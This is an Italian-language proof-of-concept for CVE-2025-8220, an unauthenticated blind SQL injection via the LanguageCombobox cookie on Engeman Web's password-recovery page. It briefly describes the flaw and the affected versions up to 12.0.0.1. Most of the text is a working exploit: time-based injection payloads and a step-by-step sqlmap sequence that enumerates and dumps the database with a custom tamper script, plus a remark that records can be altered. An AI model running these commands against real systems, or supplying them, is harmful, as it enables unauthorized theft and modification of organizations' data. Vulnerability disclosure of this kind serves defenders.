
Prova di concetto per lo sfruttamento della vulnerabilità descritta in CVE-2025-8220, che riguarda la possibilità di SQL injection durante il caricamento della pagina di recupero password nel software Engeman Web.
Proof of concept per lo sfruttamento della vulnerabilità descritta in CVE-2025-8220, che riguarda la possibilità di SQL Injection durante il caricamento della pagina di recupero password nel software Engeman Web.
Una vulnerabilità che consente la manipolazione della query SQL eseguita durante il caricamento della pagina di recupero password è stata trovata nel software Engeman Web. Questa vulnerabilità può essere sfruttata da visitatori senza accesso a credenziali valide, cioè in modo non autenticato, per compromettere la riservatezza e l'integrità dei dati memorizzati nel database dell'applicazione, e potenzialmente causare denial of service a livello di componente alterando i valori in tabelle critiche.
Dopo aver effettuato l'accesso all'applicazione ed essere stati reindirizzati alla pagina di login, fare clic sul pulsante per essere reindirizzati alla pagina di recupero password.


Controllate la richiesta effettuata dal browser per caricare la pagina di recupero password. Noterete che sono presenti alcuni cookie, tra cui il cookie LanguageCombobox, che viene memorizzato durante l'accesso iniziale. In questa dimostrazione è stato utilizzato il software Burp Suite per visualizzare e reinviare le richieste del browser in modo più efficiente.

Per confermare la vulnerabilità, inserite un apice singolo come valore del cookie menzionato e reinviate la richiesta. Nella risposta dell'applicazione dovrebbe essere visualizzato un errore che indica un apice non chiuso.
I risultati della query non vengono visualizzati direttamente nella pagina restituita, rendendo questo uno sfruttamento di tipo blind (cieco). È possibile inserire payload come ' AND SLEEP(30)-- - o '; WAITFOR DELAY '0:0:30'-- per dedurre il database sottostante.

Una volta confermata l'iniezione, è possibile utilizzare uno strumento automatizzato come sqlmap per eseguire il dump del database.
È importante notare che l'argomento --technique deve includere il valore SEB affinché vengano utilizzate tecniche basate su stacked queries, errori e confronti booleani. In primo luogo, perché è necessario uno sfruttamento di tipo blind; in secondo luogo, perché l'omissione dell'opzione S dal valore dell'argomento ha fatto sì che sqlmap non riuscisse a trovare il punto di iniezione nei database SQL Server.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Verranno identificate diverse possibili tecniche di sfruttamento attraverso il punto di iniezione. Successivamente, è possibile recuperare le informazioni del database.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Per estrarre i record delle tabelle con sqlmap, è necessario utilizzare uno script tamper personalizzato (almeno per i database SQL Server) chiamato replace-dbo.py in questo repository. Il motivo è che i payload di sqlmap che utilizzano il formato <database>.dbo.<table> per fare riferimento all'oggetto tabella entrano in conflitto con l'elaborazione dell'applicazione. Il tamper menzionato lo converte solo nel formato <database>.<table>. Se l'istanza di Engeman Web utilizza MySQL o un altro database, questo tamper non sarà necessario, oppure se ne dovrà creare un altro.
Ricordate che lo strumento sqlmap richiede che nella directory in cui si trova lo script tamper esista un file vuoto chiamato init.py affinché possa essere utilizzato, se non lo si è posizionato nella directory tamper predefinita della propria installazione.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
Questo tamper causerà conflitti se utilizzato in qualsiasi fase del processo diversa dal dump di una tabella specifica. Pertanto, non usatelo per ottenere i database (--dbs), le tabelle (--tables), le colonne (--columns) o informazioni aggiuntive come l'utente del database (--current-user).
Poiché l'utente utilizzato dall'applicazione per interagire con il database ha privilegi elevati nel contesto dei record di sistema, è anche possibile manipolare la query sottostante per modificare i valori dei record delle tabelle (questo è molto più semplice se l'istanza utilizza SQL Server come database sottostante).



Attraverso questa vulnerabilità, qualsiasi istanza del sistema sarebbe suscettibile al recupero non autorizzato e, possibilmente, alla modifica dei dati presenti nel database in uso.
Questa vulnerabilità è stata confermata nelle versioni fino alla 12.0.0.1, ma è probabile che anche una versione più recente sia vulnerabile.